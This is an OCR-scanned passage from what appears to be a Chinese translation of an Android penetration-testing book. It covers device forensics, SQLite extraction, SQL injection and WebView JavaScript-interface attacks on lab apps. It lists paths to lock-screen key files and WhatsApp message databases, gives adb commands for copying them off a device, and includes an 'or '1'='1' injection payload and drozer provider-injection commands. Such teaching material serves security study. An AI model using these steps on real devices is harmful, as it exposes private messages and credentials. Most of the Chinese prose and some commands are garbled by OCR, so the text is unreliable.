251 '/data/data/com.whatsapp/databases/msgstore.db’,

252 '/data/data/kik.android/databases/kikDatabase.db’,

253 '/data/data/com.bbm/files/bbmcore/master.db’,

254 '/data/system/gesture.key’,

255 '/data/system/cm_gesture.key',

256 '/data/system/locksettings.db’,

257 '/data/system/password.key'

258 ]

250

5.5 1% il AFLogical #25FT A Bk A A ~ 52 KA 4218

AFLogical & & viaForensics % 5 8 T B » @M Z LA EZHREA B LR EZANLILR -
MR G PRI —3 LA » 845415 » BAAFMRIELE ©

A T 4% M AFLogical » #4171 % £ GitHub

JE nhttps://github.com/viaforensics/android-forensics T # B 89RAA o THE » &A1 A
P bR B S AKAT4) Eclipse TAF R H #ATHHE o HATT RKATVILA 69 RAG F 5

7] File | New | Other | Android | Android Project ° Ria ﬁﬁi%7:§2ﬁ5/?4&553§4 °

— B2 EZMNERE FARNENG IR » BNKTRAERNG XL LETE 7ELEEEH
%E%ﬁ@““ﬁAMmmrmﬁ”%*aﬁmf”*’ﬁm%ﬁﬁﬁ’ﬁM%ﬁéi
8 AFLogical B MAZFRE T R AR BFERBHA L8 - EUATHREBA T » R4 F 3
AFLogical £% & L3247 » g A P A X ZRILEGF @15 & -



Available providers:

+" CallLog Calls

+" Contacts Phones
v MMS

v MMSParts

" SMS

Select All @ Deselect All

EMNBAEH AT » KRG E£+H capture © AFLogical 34 FH46 MO B kIR A% 3R 1E m s B 0
KR 1EmiZ BARBAE SD T8 csv XHF - WARIRIRE » BMNLEER —NEL
iE o

HEANIMA T ALK £A189 SD FH#42 » KAVTAREI KRB csv T o

shell@android: /mnt/sdcard/forensics/20131227.2415 # 1s -1

-FWXPWXIWX root root 62 2013-12-27 @0:15 Calllog Calls.csv
~rWXrWXrWX root root 491 2013-12-27 8@:15 Contacts Phones.csy
-rwxrwxrwx root root 204 2013-12-27 0@:15 MMS.csv

-rWXPWXPrWX root root 62 2013-12-27 @0@:15 MMSParts.csv
-rWXrwarex root root 217 2013-12-27 0@:15 SMS.csv

-rWXrWXrWX root root 61387 2013-12-27 8@:15 info.xml

KRG BATT ALEAEAT csv XHEFBPATARZE csv XHREAF@ZTE - HAk >
AFLogical £ — A i A6 TR > AT E FRI—LZ 8 Wl A A B1ET K I
Q o

ey

5.6 F #h 4% 1% o F 6 2098 &



RARMNCEEE > RS TETUH B RATJATICE » KAVIET L adb Fo &A18 F3h 3
BN E & FRI—EIZ A o BN ATFE 8 > 2 AT 5%

f£ /data/data/[RREFG 5]/ 1L E o w1 T K% %z AR FAAE R 2038 & k4% 238 - &A1E
FEAELA directory BB FH A —AN % databases BI LMK o REFREZH—LL
TR W B &R MAL R %’L%‘EE%/’ AL P IRIBAT B VB AL Gk 5 AR Ao Al X428 o
XL RARET > ZNTREXZED » R ARFKEEAEE XML TH T 2E R EF 8
B KA FZFFHF e o

Android 12 /1 SQLite 48 /& (KAHET—FEAT®E) 5 db LHEK o TEEFHRR
P A I8 & 65 5

o MARE o IR KA IR RIEE
o HRPTA .db LRI B B 61 TH K
o EHIMEHALRE

ot o ZA1TVA4E A adb shell 24X /data/data/location W &9 PTH 3B & X » F eI E 4%
Bl)yars TP o RS LB R -

1. /£ SD F ¥4l Z—/~% 4 BackupbBs & UHF % o

2. A RATT VAR £ IMAT adb shell * RE /& /mnt/sdcard FRIE—/1%
A BackupDBS 8 &

adb shell
mkdir /mnt/sdcard/BackupDBS

3. 2RPTA .db L& L E H] %] BackupbBs ©

4. Ak RATTVE R — A £ Ge STk EELA B A /datasdata FEOFTA .db L
o ZMBLAER find F4ERAA ab XM EURTHAF » KAMEA find T
Ao NS A B L REEREAEMIEL AR « ) ART KL db 89
B H (Bp ».db ) » AARER A £ o

find . -name "*.db" -type f

TR EERT A



13@|shell@android: /data/data # find . -name "*.db" -type f
./com,.android.browser/databases/autofill.db
./com,android.browser/databases/browserZ.db
./com.android.browser/databases/webviewCookiesChromium.db
./com.android.browser/databases/webviewCookiesChromiumPrivate.db
./com.android.browser/databases/webview.db
./com.android.browser/app_appcache/ApplicationCache.db
./com.android.browser/app_icons/Webpagelcons.db
./com.android.browser/app_databases/Databases.db
./com.android.browser/app_geolocation/CachedGeoposition.db
./com.android.providers.calendar/databases/calendar.db
./com.android.providers.contacts/databases/profile.db
./com.android.providers.contacts/databases/contactsZ.db
./com.android.deskclock/databases/alarms.db
./com.android.providers.downloads/databases/downloads.db
./com.android.email/databases/EmailProvider.db
./com.android.email/databases/EmailProviderBody.db
./com.android.email/databases/EmailProviderBackup.db
./com.android.keychain/databases/grants.db
./com.android.inputmethod.latin/databases/userbigram_dict.db
./com,.android. launcher/databases/launcher.db
./com.android,.providers.media/databases/external .db
./com.android.providers.media/databases/internal.db
./com.android.providers.settings/databases/settings.db
./com.noshufou.android.su/databases/su.db

5. A EMNTAR ERAEN cp # find > Y24 L E 41 3] Backupps B %

find . -name "*.db" -type f -exec cp {} /mnt/sdcard/BackupDBS \;

6. Wi wREANEA /mnt/sdcard T 89 Backupps B F » &A1) PT A I8 &AL & R B 4]
B AL B o



10.

11.

= P FWCFWX
= WL WO P
= P WX FWX
= P FWOCFWX
= P WO FW
=P FW rw
= FWX MW rw
“FWXrwxXrnwe
= P WO P
= P FWDC MW
= P FWOC P
= PWI WP
= WX MW rW
=P FW Fw
=FWXrWX WX
= P PWOC P
= P PWOE FWOX
= WO PWOC PWX
= PO P WADE P
= P WO FWX
= FWX MW rw
= P WO FWX
= P WL FWX

root

root
root
root

shellBandroid:/mnt/sdcard/BackupDBS # 1s -la

22528 2013-12-27 99:46 ApplicationCache.db

53248 2013-12-27 @2:46

@ 2013-12-27 00:46

@ 2013-12-27 00:46
102400 2013-12-27 00:46
192400 2013-12-27 00:46
24576 2013-12-27 00:4b
16384 2013-12-27 0@:46
16384 2013-12-27 2@:46
24576 2013-12-27 00:46

Beryllium.db
CachedGeoposition.db
Databases.db
EmailProvider.db
EmailProviderBackup.db
EmailProviderBody.db
NewBadge. db
NortonPing.db
Referral.db

23552 2013-12-27 0@:46 Webpagelcons.db
16384 2013-12-27 00:46 activitylog.db
16384 2013-12-27 00:46 alarms.db

16384 2013-12-27 00:46
331776 2013-12-27 00:46
16384 2013-12-27 00:46
122880 2013-12-27 00:4b
32768 2013-12-27 0d:46
315392 2013-12-27 00:46
24576 2013-12-27 90:46
24576 2013-12-27 00:46
20480 2013-12-27 90:46
172032 2013-12-27 00:46

autofill.db
browserd.db
cafecache.db
calendar.db
cfwl.db
contacts2.db
database.db
downloads.db
drozer.db
external .db

BT o I R —ALE

F adb pull °

tar cvf backups.tar BackupDBS/

s BATTVAE R tar T E

JE o NART » RAT AR LB IHIERE o by ZLTUR TR

1 /data/app Fa /data/app-private 14%7*(“}’§&‘I4‘F§'%ﬂ

*T .apk TAF o

$ adb pull /mnt/sdcard/backups.tar backups.tar
1262 KB/s (2670592 bytes in 2.066s)

o R EAVIF ek —F » £ EKANE backups.tar F » TH — ML A msgstore.db B9
WhatsApp & A #2569 838 & o Tk RAT4 4

FEB R BAIA A LI tar V2 A o

tar -xvf backups.tar

CR—NEEE

A

.apk * RINF AP ELELPT

kWA RRIE AT R o Ak o KA

A AT HH LA msgstore.db 89 WhatsApp 9 SQLite 238 & » KATT AT &AL A

4T SQLite # W & o T AH » K114 A SQLite ZikE &l i &

s B KL

M http://sourceforge.net/projects/sqlitebrowser/ TH o

M A > 4o R EAVAE SQLite I8 E 7] W 5 F AT msgstore.db X AFF35 Bl % &5 238 » &
17T vA4£ SQLite & % & F & 2] &A1 ﬁﬁﬁﬁjﬂ‘ WhatsApp *1& o £ A TAREF > &A1 1A

# % £ SQLite %48 & & % & T 47749 msgstore.db * B &7 WhatsApp & i # )5

WA



By R atE

ann B 50LIte Database Browser — [Wolumes | AdityaPlayground (Andrilber_multi| BackupDBS) magstone.db
Niee & © oo B L2
Database Structuse _ Exscute SOL
Table: | messages 3 4, New Record Delete Record
_ hy_peimon | iy_Proen | ey _bd FRETIEY mebEds_pas | dlaka Lol LAl e _url el _ e _Dy|
1 1 =1 o] =1 =1 0 o
2 2 9198698 1136910058 6 0 IET036O5332T
] 39195916 1522327728 [ 1] IBT036051329
4 4 9198698 1 138703605 4 0 est IB70IGOT4276
5 5 9198598 1 138703605 L] @ thisisasecretmessags IE70IG0BE0TE
L] 69172051 1 138703605 5 0O hey JE703I6198124
2 79172051 0 1386436898 o 0 Whatsup IBT0IHIIN000
L] B 9172051 0 138643898 5] o IB7036255000 hitps:/ /mms87 image/|peg
# 99172051t 1 138704022 ] 0 sy 3IE7040269363
10 L 912051 1 138704022 5 O "»chlxsss IB7040289317
1 119172051 1 138704022 5 0 IB7040303838 hitps:/ /mmaBl image/jpeg
1 12 109674 0138711785 o 0 OCood Moming 387154137000
1 13 9199674 0 138730623 0 0 Be truthfull to yoursell IB7I27313000
1-150f15 Cotg LY

5.7 1£ ] logcat 125k B &

Android logcat A i £ BOE R E A RA A o B a2 wiE A B F I EIATE T A Eah 8y
A& BARRE  ETUAFYEER THREFRAETHZ -

AT W RARAG logeat 5% TAF > RATT AR £ HAE A ado logeat 4 4 di FR 5 2l — AT
B BB BN T AGAHTE o

adb logcat > logcat_dump.log

FAVETVAE A logcat A E miftafe F A6 7 XFEB A E o Hlde » ENTRAIIRE b £
A radio RRBMFMBE o b HEATEFTEFR (Wl FMAFH) 49 logeat °

v RERTEAMBEEAX > XKL verbose (F4m) o AT IL

A time * brief °* process ’ tag ’ raw ’ threadtime ﬁk long ° BT v ﬁ.ff]ﬁﬂ‘w\
R d (AK) 0 -1 (FBE) v -w (FEE) X e (%) o

adb logcat -v time -b radio -d

EMNZBTAERAEM LR > 4o dnesg * EIFATHAAIHE & 2 VAR getprop * BHFATH X EH
B

adb shell getprop

XDA - Z AR A& R rpierce99 E R4 T — A AA25F o AT 8 #h#H Kk 8 logeat = HHAn X
kR 8915 8 0 AT B ST VA https://code.google.com/p/getlogs/ F 2 FF4% H o



5.8 1% | &1 o At R4E B H 45

Android M 4.0 #Z35] ATAEH adb B9 & shat o LT A TRl E R AR &in A L&A
BAE o RAPIELIFEFAR » AABCGER TAMREZ ARZFRLENLE - H5HNATH
L3

1. XA A 2398 F AT adb backup 40 BERH R ARFOELRTR o o R &AN
Tgnil g IR 69 A2 6L 8 AR » RATTT VAL pm AT A &> RG LR AR LR -

$ adb shell pm list package | grep 'lastpass'
package:com. lastpass.lpandroid

2. PWATHARE 7 —F 7 H A4 M pm list package 4 L F -f I TR EOLART
ERGFIE o

$ adb shell pm list package -f lastpass
package:/data/app/com.lastpass. lpandroid-1.apk=com.lastpass. lpandroid

3 Tk o HATT oAl $ 342 A MAZF 8 B8 AR » RGBT ZG 0 AAZSTF o

adb backup [package name] -f [destination file name]

4, BARXHBALHY &L ab (Android &15) H6% o £ EZ » EMKRE T WhatsApp
K2 F AR 8 &4y o

$ adb backup com.whatsapp -f whatsapp_backup.ab
Now unlock your device and confirm the backup operation.

5. —2&KMEHFGS ChHIE FERKNAEXSGEHIN > w T E@GKREFT



)p computer has
you want to allow this to happen’

Do not back up ~ Back up my data

6. £ E > KA1TFH LLIF Back up my data (FWRGEIE) &R > FEETAAZHE L
e B ERAG o — B G4 d AR TR, 0 RATF KT whatsapp_backup.ab TAHF o

7. BTk KMNEEMEIES > UEIN ab THRBRIIEE o Ak HA41H54E
A dd #2 openssl Bl —A .tar XM RE BN TUAREEE

§ dd if=whotsapp_backup.ab bs=24 skip=1 | openssl zlib -d > whatsapp.tar
3460+1 records in

3468+1 records out
83862 bytes transferred in @.831047 secs (2675354 bytes/sec)

8. M i THEAMNKFT .tar XM > KMTLMER tar xvf REBREE o



$ tar xvf whatsapp.tar
apps/com.whatsapp/_manifest
apps/com.whatsapp/r/app_Keys
apps/com.whatsapp/f/Logs
apps/com.whatsapp/f/Logs/whatsapp-2013-12-27.1
apps/com.whatsapp/f/Logs/whatsapp.log
apps/com.whatsapp/f/wastats.log
apps/com.whatsapp/f/pw
apps/com.whatsapp/f/expiration_date
apps/com.whatsapp/f/me
apps/com.whatsapp/f/Avatars
apps/com.whatsapp/f/Avatars/917205163883@s .wha;
apps/com.whatsapp/f/Avatars/919967420743@s .wha
apps/com.whatsapp/f/MessageService.pid
apps/com.whatsapp/f/account_type
apps/com.whatsapp/f/sync_backoff
apps/com.whatsapp/f/wastats.timestamp
apps/com.whatsapp/f/full_sync_wait
apps/com.whatsapp/f/fullsync.dat
apps/com.whatsapp/f/.trash
apps/com.whatsapp/f/statistics

9. — B EMETR > EAT vAT5 9] apps/[package-name] T &7 db XA % » Rk RIEIEE -
XL BFOLMA com.whatsapp °©

IEEATRRER 1s -1 REF do XHEFHPITA TR LA o E4IRT AL B 69 » KA1
H msgstore.db XA ° € &4 WhatsApp x4 » &ML ELEL—FFHET -

adityoagupta ot
5 1s -1
total 240
T s 1 edityogupts odmin 49152 Dec 27 97:01 msgstore.db
------- 1 odityogupta odmin 8720 Dec 27 @7:01 msgstore.db-journal
- 1 odityogupta admin 28672 Dec 27 @7:@1 wa.db
- 1 odityogupto odmin 32768 Dec 27 @7:81 wo.db-shm
1 odityogupto admin @ Dec 27 B7:01 wo.db-wal

N2
g4k

NN

EREF > RNOPWTHATBAEG RE 7 ik » AR EF TR » KA1 244& A © 41k 4 By & A7
HATBOERE o I ROV T AT — B RN TRAIATH F 5 7 % » RN EE FPRIIIE -

AT—%FF » 014 F A SQLite #3E & » X A& Android F & MR 69 5 — 424 o



% A% Android B

68



%~ F it SQLite

Y54 : Aditya Gupta

EA A

WL 0 CC BY-NC-SA 4.0
SQLite £— M REIEE » BA K S EMTHAAEXZLEE (2 SQL) 96 o WwRRZR
RAFFAEAR » RTRZELZEE SQlite E9AARK S R V1% SQL —# - £ Android

+ #% 4% SQLite R AL EL A A & A& o Android - & & &% SQLite #9/7 A &€ R & 2%
BREBHKIEE » AALTUERARE T HZRA o

6.1 FE A2 SQLite

Ede FA £ L —% ¥ A& 2|49 > SQLite 448 & KikA Android 4 fif

J£ /data/data/[package name]/databases/ 12L& * & & H .db XA (4 Android 8 K % %1%
AT) o A £EMNERANIRS SQLite WIFIZ AT » HA1 %A XA T A2 SQLite & 414
— KR

o #ri% il SQLite #9 5 % &2

X HAH — AR K Android & AAZF 0 € XA PR F M 0 G AR A
SQthe o WA F I

RN EBEAR AT O EGEIEE o T
JA http://attify.com/lpfa/vulnsqlite.apk T & /RFER ARG o AT 4] ZE#IE E 69 KA &
B4 VAT B A B BT

pablic weld enCreate(5QLiteDatabase database) {

String createTableSQL = “CREATE TABLE ™ + tobleNome + " (™ + id +™ INTEGER ROT WULL PRIMARY KEY, " + firstdame +
+ [osthNome + ° TEXT, * semgil + * TEXT, * + phoneNusber + = TEXT, ° + username & ° TEXT, " + possword & ° TENT)";
Log.d{"onCreate( )™, createTableSQL);

catabase.exwecSQL{createTablesQL])

2. TFRAEKNAELANFHE » LA id ( integer ), firstName ( text ), lastName
( text ), email ( text ), phoneNumber ( text ), username ( text ), #7 password

( text )° tableName F#Z AT ™ # USER_RECORDS °

3. L &RATIA 7 17 adb shell 4 &5 & o KA17T 4L A SQLite & % %1% 19 SQLite T
o EMNEL—FFEATE » REBRNTAER G ESITI L sqlites ° T EARX—
= KAV LA sqlites BIF AT LR » €A £ T K% 4 Androidi&t & F ° ﬁU%V”
& Android X & P R A& € » IRT AR A Play /& 7 #2448 BusyBox & A 25 # AT %

Ro


https://github.com/
http://creativecommons.org/licenses/by-nc-sa/4.0/

COPTVA s TR BATRE AT RAEE o BA1E B9 — 1 F A4 A adb shell #AEE o

. 'F——*}‘%v; 7] /data/data/[package-name] 2| %éﬁﬂiilﬁﬁ‘évﬁh databases X %& ° "‘E’.?\i‘
AT $4B B & > KA1 22 F2 &4 U - ILE > SQLite 4B & 69 THAEAK 5
AR@RE 8 gp > {ZEAIWT AN sqlite * .sqlitedb KT KA R EGIE R ARSE
B A8 R A HEAT ALY e o 4o RARIEAF E—F P W4T > £ EREARE AR > EER
FREMY EL G > Hlde sqlite ©

A RAVTVE AT 4448 Al sqlites 4T F4K3E & ¢

sqlite3 [databasename]

AZMHFLT » & TRIEELARA weak-db * RATT VL £ 3t

X sqlite3 vulnerable-db ATFFE o HATLL T AL 4 T B 1848 A sqlite3 4T7F % A~ 40 ik
oo BEF IS AEKIEE 0 RAVT AN databases 47| &A1 S AT A9 B E o
4o °F 0 89 4% B BT R

sqlite> .databases
seq name file
] main /data/data/com.attify.sqliteapp/databases/vulnerable-db

O RAATARBES B F—HFLEAKIEE T LR o KT ETA
W .tables & > WA T REBE T :

sqlite> .tables
USER_RECORDS android_metadata

e RAVE X BT AA E] 89 0 A AALARH USER_RECORDS #7 android_metadata 89 & ° W
T &A1 user_Recoros B 4AE » KAV B RBZEEF R T HENT] » #E KNG 464
FFEPOHIE - ATEEARXERNES1Z8 > Blhed|FH » KA TUEA . schema
b ha TEBRE P :

sqlitex .schema USER_RECOADS
CREATE TABLE USER_RECORDS (ID INTEGER MOT MULL PRIMARY KEY, FIRST_NAME TEXT, LAST_MNAME TEXT, EMAIL TEXT, PHON
E_NUMEER TEXT, USERMAME TEXT, PASSWORD TEXT):

BT REMNE M LRI WAT seLect B R EF | FHE P HIE o

7.

EE
A—NELEEZNETLEEA > SQL P1E A8 K % # &9 2t SQLite 75 A A 5K o

AP AR AR HARIBEEE AR E o BTk A T4 HEA USER RECORDS & ° iR
B - METARNE » RAVTIER AT 4 ¢

SELECT * from USER_RECORDS;



BT ERGASGFARM T THOHE

sqlite> select * from USER_RECORDS;
1lAdityalGuptaladi®attify.coml123456789@|adityalmysecretpassword
215ecret|User|secret@attify.coml555555590 | secretuser|passwordl23

WA sqlite3 AT ENKTHEBN > EHEAMEEARTEZEGASE o AT
TE RIS > K EF mode X EH column * IF header X EH on ©

10. E&RMFBRETMAFAGEWFRERE > T OORENF

sglite> select * from USER_RECORDS;

1D FIRST_MNAME LAST_NAME  EMAIL PHONE_NUMBER USERNAME PASSWORD

i Aditya Gupta odifattify.com 1234567890 oditya mysecretpassword
2 Secret User secret@attify. 555555598 secretuser  passwordl23

EHEAATRGEATATHEMNRK o ZFI—% output ¥4 ZLAHKIEH
SQL &ty R BRI/ G » KNTUHEBEER M AALEFR LR T — 2K
MN¥MmERGELEAFF > FABEEDFERETRX > KRATTREA output 4 HHE

R EA stdout > BEARELRELTME -

#£SQLite® * .dump HAIE—AT Kk B4 IR E G B I A LPT AT PTA SQL
BAE e UTAESHHIEE LBt FREA

glite> .dusp

RAGMA foreign_keys=0FF;

EGIN TRANSACTION;

REATE TABLE android_metadata (locale TEXT);

NSERT INTD “ondroid_metodoto™ VALUES("en_U5');

REATE TABLE USER_RECORDS (ID INTEGER MOT MULL PRIMARY KEY, FIRST_MAME TEXT, LAST_MAME TEXT, EMAIL TEXT, PHON
_NUMBER TEXT, USERMAME TEXT, PASSWORD TEXT);

NSERT INTOD “USER_RECORDS" WALUES(1, 'Aditya’,"Gupta®,'odiBattify.com®,'1234567690" , "aditya”, "mysecretpossword
')

NSERT INTO “USER_RECORDS" VALUES(2,'Secret’,’User','secretBattify.com’, '55555559Q', "secretuser’, ' passwordl2d
‘2

OMMIT,;

Ik 0 BT X AR AR T AN LSE AT » AL B A shell » RJEB ) sqlitesa —##] o
FA1VT A B3 adb shell 2% E1 6944 KMAME > e TEORRBTF !

% odb shell sqlite3 -colusn -header /dotosdotoscom.attify.sqlitecpp/dotocboses/vulnerable-db "select * from US
ER_RECORDS"

10 FIRST_NAME LAST_MAME  EMATL PHONE_MUMBER  USERMAME PASSWORD

1 -I.:h.tyc Gupta ndthtnf)r com 1234567890 aditya mysecretpassword

2 Secret User secretattify. 555555508 secretuser passwordl2d

3 Secret User secretBottify. 555555550 1 passwordl2d

6.2 %2 A

Web 2 R FAetb s R F P RE LORAZ—TETEANGRA o wRieRAEEHARA P
RGN > RFH A SQL 29K R Y HFH AR ES » SQLite &= A EZNRIR o

EENRAEAERNTEAR AR FOFIEHSQLER » 2 FHAT ¢



String getSQL = "SELECT * FROM " + tableName + " WHERE " +
username + " = '" + uname + "' AND " + password + " = '" + pword +

nmin,
’

Cursor cursor = dataBase.rawQuery(getSQL , null

LZAT@E SQL £ F > uname #7 pword FEMA PN BE(E# ] SQL &9 F 0 KB4
B rawQuery 7 EAT o rawQuery FEFER ERZATEATEELEE SQLEW - H—NK
PAT rawQuery 897 & & execsQL 7 % * B rawQuery —AENEES o

WEme SQL AR TR IERA PR FRE AL LA ZMEAE G128  FTl s B E
8 SQL 5 HEAE R P LA B L L INEA—4T » R TXH > CRE—/A RIE TRUE ©

R > BRE A7 0 RANT SRR A > @ TEEF AN » T2 A2
J7 8 SQL &8 —3 9 > ARG LB E TRIEE * MARTEMN Gy o FLEH » RN
FPAIBAEA 10r1'="1 BAEMTEMER TRUE 89518 » RN T R ARFG T 0 %E
s REFRA-MRGRZERE o H > FHEE b TRALI] 5 > Aar@im AP
R or K ASQLEWFHAA or o ZEHERA P L FH  FFERMNGERIMAIKAEN
SQL &4 o 4R T ¥AI http://attify.com/lpfa/sqlite.apk T & /AR ARG o XL LK HIF
AT SQL £19 ¢

SELECT * FROM USER_RECORDS WHERE USERNAME = '1'or'l1'='1' AND
PASSWORD = 'something'

%%rMEfMWQﬂi&%’EéifaAﬁﬁﬁ’ L 8,40 P13 8 » 318 SQLite &
R IEATXENHEALT—H > e TatFRERBTT :

4

BB TALEMANLG R W hsCGEFHA (- ) o kik SQL &9 69 R 9B 2t 52 R A2
T’ ﬁl] /l%% °

L RMNAEE A= ARF » Z—K > #| A drozer » &A1 VAATE A 69 T B » kF| A SQLite i
)\}FJ?G o

BARRRRFE—ANELER » AP TURGHANGER; ZERHEMELELH todotable.db #
BEEF > A ARFPRLINEEE S HF o EEAT VR :



1. TE&RAVE L > B3 drozer> EFZ ML ARFORIEE » w TEEGFLHTT o REE
L RRA com.attify.vulnsgqliteapp °

adb forward tcp:31415 tcp:31415
drozer console connect

2. —ERKA#H AT Drozer 8938%] & » KAVK T VAEAT finduri FRWERIRREFEHA A S
URI #= 7T 3% 9] 89 URI » iza’Fﬁ)Tﬂ'? :

dz> run scanner.provider.finduris -a com.attify.vulnsqliteapp
Scanning com.attify.vulnsqgliteapp...

Unable to Query
content://com.attify.vulnsqliteapp.contentprovider/

Able to Query
content://com.attify.vulnsqliteapp.contentprovider/todos

Able to Query
content://com.attify.vulnsqliteapp.contentprovider/todos/

Unable to Query
content://com.attify.vulnsqliteapp.contentprovider

Accessible content URIs:
content://com.attify.vulnsgliteapp.contentprovider/todos
content://com.attify.vulnsgliteapp.contentprovider/todos/

3. #HT %k £419%4 7 Drozer Pz a2 Fket s AEFPETEZANGRR > 4o
TR :

dz> run scanner.provider.injection -a com.attify.vulnsqliteapp

Scanning com.attify.vulnsqliteapp...

Not Vulnerable:
content://com.attify.vulnsgliteapp.contentprovider/
content://com.attify.vulnsgliteapp.contentprovider

Injection in Projection:
No vulnerabilities found.

Injection in Selection:
content://com.attify.vulnsgliteapp.contentprovider/todos
content://com.attify.vulnsgliteapp.contentprovider/todos/

4. Tk s EBNTAE A TRAREEOIEAZHLER »Plde 1 =1 » EHEITARF
ATRE TRUE * e T @B BT :

dz> run app.provider.query content://com.attify.vulnsgliteapp.contentprovider/to
dos/ --selection "1=1"

| _id | category | summary | description I
11 | Urgent | Meeting with the boss | Meeting room no LR3 |
I 2 | Urgent | Financial Summary | Submit annual report |

5. toh > KA1 A4 A Drozer ££3% app.provider.insert * i35 T S A F & 695
PFERERA > K EA B TEEIEE A SQLite KB E o I RAVB X BT R A LKIEE F iR A —
™ to-do % H o At £ FEwWAF



Bt id ° category ° summary 7 description ° 3B £ A 57|

A integer ° string °* string Fa string °

6. Bt TENIEEET

run app.provider.insert
content://com.attify.vulnsqliteapp.contentprovider/todos/ -
-integer _id 2 --string category urgent --string summary
"Financial Summary" --string description "Submit Annual
Report"

BABATE » CH L TZRE L& U THRBENT

dz> run app.provider.insert content://com.attify.vulnsgliteapp.contentprovider/todos/ --integer _id 2 -
-string category Urgent —string summary “Financial Summary™ —string description “Submit annual report
"
Done.

N2

v o

> a

EARFEF > BAVEANT AT SQlite #%3EE » £E2 A AR/ T LT RA » 34 A Drozer
AR EA o SQLite KB E R H LS EMRAR X I EZPEZ— RACNOESTEA
REFHORERE . EETROZTF P » NETH LR KF L4 Android #] A HE K -



%4 R K448 Android &R

fE4 . Aditya Gupta
FH L RA
WL 0 CC BY-NC-SA 4.0

HEREPR > K414 T H—2% R KH 4 09 Android X & @& > X /& Android # i X P T 464k
AR o EANZKBE—®ITH > 4o Android /7 Z & F 9 RAF webview LI PG RIA o 14
HEMRE > REEF R AE A X7 XN F 1+ Android 2 AR » F R — KT Lgs:
[ o

7.1 Android WebView /& /F

webview & —#% Android LB > AT AR A5 L7 Web A% o €1 WebKit /& # 7]

B VMZAE R file// Fo data// WAL R B R AR ALK o T AR TN A Sde B Ao
FFENE o webview ¥JA T &4 Android & A5 » Bl R EZMF B ZT ARG ARG -
CRTER ARG FPHELEIMNE KT TR ARG FH Web AZ o HMNKLET—
¥ “F' — %t WebKit & L& 51 % o T ARF » KA1 R X012 A WebKit #7825 F 42

o

e

3

12 = A 18 Fl WebView

FE AR PAE R webview FEH A E Ao B o BRIZ RN A Z RNV EANFFHA AL —
A webview ZAPF 5 IR http://examplewebsite.com e 3% Iklféi °

T @24 Android & A A2 5 F 3 webview #94KAL R4 :

WebView webview = new WebView(this);
setContentView(webview);
webview.loadUrl("http://vulnerable-website.com");

"/\§3-55$ FJFE ’ k%%&ﬂ‘ﬂi/\ fiékﬁ Ti‘“”ﬁﬁf’ }ﬂﬁi BTN AL » /£ webview "ii)@‘:‘?@i
F AT 44 & F JavaScript (KiA1%E A False )

setJavascriptEnabled(true);
A @ 69 44 1% JavaScript T VAL R A A F P AT o SRR R EM @ o

R 5] Rl


https://github.com/
http://creativecommons.org/licenses/by-nc-sa/4.0/

BE—TFTXMEL > R ARFELIREGMETIER » AFKEAPATFRAALE (5 F

IR A 69 A %15 5 )L OWASP M

23 https//www.owasp.org/index.php/Man-in-the-middle_attack ) ° ‘fl"%li‘n“l‘ig‘_"]_ VA7 8] B %%
MAGATT =T VAS P h RAn d & &89 om iz o X R AT RE 95 45 vom 2 238 o IF Bdo RN 56 Jm 8
JavaScript A% » M 7T Wl 7442 4] JavaScript A % o

FobodmdiEAe  fEHEET A JavaScript kA FAL L R LT XK > Bl d 5
—ANB AL R HEAT 0 AT RIS o HEAE A 4w Drozer X R 69 T AR EAE shell o

TERATVEA R £ 695 F > RVLH webview R T M o AR E » KA1H4L A Joshua Drake
#) GitHub © & ( https://github.com/jduck/vulnwebview/ ) P& > @ Ae@| E ML ATERR o X
™~ POC £ RARF FAE R webview * 5k i £ Ao #H — 4~ URL JF Bjw & — Mz

T http://droidsec.org/addjsif.html &M T (4o RIX ANgdEdT A 0 RT3

] http//attify.com/lpfa/addjsif.html ) °

VAT & Eclipse ¥ XA =469 5 %8B » L F4% 8 % Android £ 2 JavaScript 5+ @ :

public class MoinActivity extends Activity {

BSuppressLlint({ "SetlavaScriptEnobled”, "Jovascriptlnterface™ })
Blverride
protected void onCreate{Bundle soavedlnstonceStote) {
super . onCreatesovedInstanceState);
setlontentView(R. layout. activity_main);

final Button button = {Button) findViewById({R.id.buttonl);
button.setOnClickListener(new View.OnClickListener() {
public void onClick{¥View v} {
ff Perform action on click
WebView myWebView = (WebView) findViewById(R.id.webViewl);
myWebView. reload();
|8 5 H

WebView myWebView - (WebView) FindViewById(R.id.webViewl);

& not a good ideal
WebSektings webSettings = myWebVWiew.getSettings();
webSettings. setJovaScriptEnobled(truel;

J terrible idea
hyﬂeb?iew.addjnvuscriptlnterFuce(new WebAppInterface(this), "Android");
£ wook.

myWebView. LoadUrl{"http://droidsec.orgfaddjsif. himl™);

i

BT UAMNBRARAD PRI apk X RELEEENE > REik
# Export as an Android Application (5% Android &2 A#F) o —B K&l RS
H %o Burp REF A E » KRNKEA R 2 AEF 3269 URL 8915 K » de AT SR B AT

7



Eaquain to g [/ draidiec aag 80 655 88 15

Doop intsrcept is an action |

Forward

[T
| 5

] h]lmrp ] T

FET fadd]=if.html WITF 1.1

ot droldsec. org

rexy-(onnection: keep-alive

Cache-Control: no-csche

ragmA! HO-Cache

kecept : vast/himl, application simlaml , spplicat {on/ml jq=0. 9,5/ % 1q=0. 8
-Regeested-uith: com sditys,sebvlesvuln

licer-Agent: Morilla/S.@ (Linu; U Androfd 2.1.1; en-us) Galamy Mewus - 4.1.1 - BPT 16 - 7221788 Bulld/IR0GIL) Appledetsic /534,32
EHTRL, like decka) versicn 4. @ Hebile Saferif534,.30

Recept -Oncoding: goip,deflate

hecept-Languagen en-15

hecept-Charser: wtf-8, {so-8850-1, utf-16, *;q=d.7

A > Bk AIRE BB o KAV S 2oh 2 2035 48 R © kA A LRIFE > 4o AT B RAT
=

HTTP/1.1 22@ CK

Ferver: ngina/l.1.19

Date: Fri, 17 Jan 2814 1@:34:59 GHT
Content-Type: text/ html

Last-Modified: Fri, 27 Sep 2813 21:53:2@ GMT
Connection: keep-alive

Content-Length: 28@

html>
chead>
ctitle>Test Page</title>
escript type="text/Javascript™>
function sayhi() {
document . body . innerHTHL += “<brr*hi from javascript!’;
b
€fseript>
€ heads
cbody onload="sayhi{)"»
Hello world!
cinput type="button" onclick="sayhi( )" walue="click mel"™ /»
€ fbody
€ S htmL>

EERNBRIEH FEHANENRALNRLSE > REALFHOREN—ADFTBRELE -
AT RHFZBRE LT TIERE R T

HTTP/L1.1 208 OF

Lerver: ng{r.m"l.:.lq

Date: Fri, 17 Jan 2014 18:34:59 GNT
Content-Type: test/html

Last-Modified: Fri, 27 Sep 2803 21:53:20 GHT
Connection: EFesp-alive

Content-Length: 280

